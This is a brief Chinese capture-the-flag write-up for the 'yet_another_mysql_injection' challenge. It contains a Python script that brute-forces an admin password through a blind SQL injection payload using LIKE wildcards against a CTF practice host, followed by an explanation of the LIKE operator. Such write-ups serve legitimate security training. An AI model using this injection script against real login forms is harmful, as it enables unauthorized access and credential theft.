[第五空间 2021]yet_another_mysql_injection
感觉不同的题目环境是有问题的,标准方式是Quine
https://www.cnblogs.com/zhengna/p/15917521.html
学这篇,但是这题的存password的表不是空表
所以爆破
点击查看代码
import requests,time
ascii = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ~"
def get_pass():
url = "http://node4.anna.nssctf.cn:28194/index.php"
flag = ""
while True:
for i in ascii:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
resp = requests.post(url=url,data=data)
if "something wrong" not in resp.text:
flag+=i
print(flag)
break
elif "~" in i:
return
get_pass()
LIKE 是 SQL 中用于模糊匹配字符串的运算符,用于在字符串中查找指定的模式。LIKE 运算符通常用于 SELECT 语句的 WHERE 子句中,以过滤符合特定模式的数据。
LIKE 运算符支持两种通配符:
百分号 %:表示任意字符序列(包括空字符序列)。
下划线 _:表示任意单个字符。
下面是一些使用 LIKE 运算符的示例:
查询以 "A" 开头的所有字符串:
SELECT * FROM table_name WHERE column_name LIKE 'A%'
查询以 "ing" 结尾的所有字符串:
SELECT * FROM table_name WHERE column_name LIKE '%ing'
查询包含 "abc" 子串的所有字符串:
SELECT * FROM table_name WHERE column_name LIKE '%abc%'
查询第二个字符是 "a" 的所有字符串:
SELECT * FROM table_name WHERE column_name LIKE '_a%'
```
在上述示例中,LIKE 运算符后面的模式字符串都使用了通配符 % 或 _,以匹配不确定的部分。当模式字符串中包含通配符时,LIKE 运算符将匹配所有符合模式的字符串,而不是严格匹配模式字符串本身。因此,LIKE 运算符是一种非常强大和灵活的字符串匹配工具,但也需要谨慎使用,以避免出现意外的结果。

浙公网安备 33010602011771号